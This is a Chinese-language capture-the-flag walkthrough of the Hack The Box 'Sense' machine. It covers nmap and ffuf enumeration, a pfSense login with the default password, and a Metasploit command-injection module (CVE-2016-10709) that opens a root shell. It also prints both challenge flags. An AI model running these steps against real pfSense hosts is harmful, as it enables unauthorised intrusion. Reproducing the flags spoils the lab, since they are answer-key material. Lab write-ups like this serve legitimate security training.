HTB：Sense[WriteUP]

连接至HTB服务器并启动靶机

1.What is the name of the webserver running on port 80 and 443 according to nmap?

使用nmap对靶机TCP端口进行开放扫描

2.What is the name of the application that presents a login screen on port 443?

使用浏览器访问靶机80端口

3.What txt file can be found on the webserver that contains user information?

使用ffuf对靶机进行路径FUZZ

使用curl访问system-users.txt文件

4.What is the username found in the system-users.txt file?

5.What is the default password for a pfsense installation?

使用浏览器搜索pfsense默认凭证

6.What version of pfSense is running on Sense?

使用上文凭证对网页进行登陆后进入到仪表盘

7.What 2016 CVE ID describes a command injection vulnerability in a PHP page on pfSense via a GET parameter?

使用searchsploit搜索pfsense当前版本相关漏洞EXP、PoC

尝试利用该非预期EXP

启动Metasploit

8.Submit the flag located in the rohit user's home directory.

9.Submit the flag located in root's home directory.

USER_FLA：8721327cc232073b40d27d9c17e7348b

ROOT_FLAG：d08c32a5d4f8c8b10e76eb51a69f1a86

连接至HTB服务器并启动靶机

靶机IP：10.10.10.60

分配IP：10.10.14.12

1.What is the name of the webserver running on port 80 and 443 according to `nmap`?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.60

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.10.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 21:32 EST
Nmap scan report for 10.10.10.60 (10.10.10.60)
Host is up (0.062s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 74.62 seconds

对靶机开放TCP端口进行脚本服务信息扫描

nmap -p 80,443 -sCV 10.10.10.60

由nmap扫描结果可知，80端口与443端口托管服务：lighttpd

2.What is the name of the application that presents a login screen on port 443?

使用浏览器访问靶机80端口

显示在屏幕上的应用程序为：pfsense

3.What txt file can be found on the webserver that contains user information?

使用ffuf对靶机进行路径FUZZ

ffuf -u https://10.10.10.60/FUZZ -w ../dictionary/common.txt -t 200 -fs 6690

这里扫出来的东西太少了，因为字典不给力的原因这次换个大的扫描敏感文件

ffuf -u https://10.10.10.60/FUZZ -w Half-Dir.txt  -e .txt -t 100

使用curl访问system-users.txt文件

curl -k https://10.10.10.60/system-users.txt

4.What is the username found in the system-users.txt file?

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -k https://10.10.10.60/system-users.txt
####Support ticket###

Please create the following user

username: Rohit
password: company defaults

获取到账户名：Rohit

账户：rohit

5.What is the default password for a pfsense installation?

使用浏览器搜索pfsense默认凭证

由搜索可知pfsense默认密码为：pfsense

账户：rohit

密码：pfsense

6.What version of pfSense is running on Sense?

使用上文凭证对网页进行登陆后进入到仪表盘

由展示内容可知，pfsense版本为：2.1.3-RELEASE

7.What 2016 CVE ID describes a command injection vulnerability in a PHP page on pfSense via a GET parameter?

使用searchsploit搜索pfsense当前版本相关漏洞EXP、PoC

searchsploit pfsense 2.1.3

将该EXP拷贝到当前目录下

searchsploit -m 43560.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 43560.py
Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
      URL: https://www.exploit-db.com/exploits/43560
     Path: /usr/share/exploitdb/exploits/php/webapps/43560.py
    Codes: CVE-2014-4688
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/temp/43560.py

由模块描述可知，该EXP基于漏洞：CVE-2014-4688。往上交发现答案不对

尝试利用该非预期EXP

利用失败，转向MSF走预期EXP

启动Metasploit

msfconsole

搜索pfsense相关利用模块

search pfsense

切换到EXP模块

use exploit/unix/http/pfsense_graph_injection_exec

展示该模块信息

info

由展示信息可知，该模块基于漏洞：CVE-2016-10709

8.Submit the flag located in the rohit user's home directory.

9.Submit the flag located in root's home directory.

列出该模块可填选项

show options

我们需要填好的选项有：LHOST、LPORT、RHOSTS、USERNAME

(少见的不需要提权直接拿到ROOT的靶机)

想搜索一下user_flag和root_flag发现根本找不到

meterpreter > search -f user.txt
No files matching your search were found.
meterpreter > search -f root.txt
No files matching your search were found.
meterpreter > search -f flag.txt
No files matching your search were found.

切换到终端

shell

查找user_flag、root_flag位置并查看其内容

find / -name 'user.txt' 2>/dev/null
/home/rohit/user.txt
cat /home/rohit/user.txt
8721327cc232073b40d27d9c17e7348b
find / -name 'root.txt'
/root/root.txt
cat /root/root.txt
d08c32a5d4f8c8b10e76eb51a69f1a86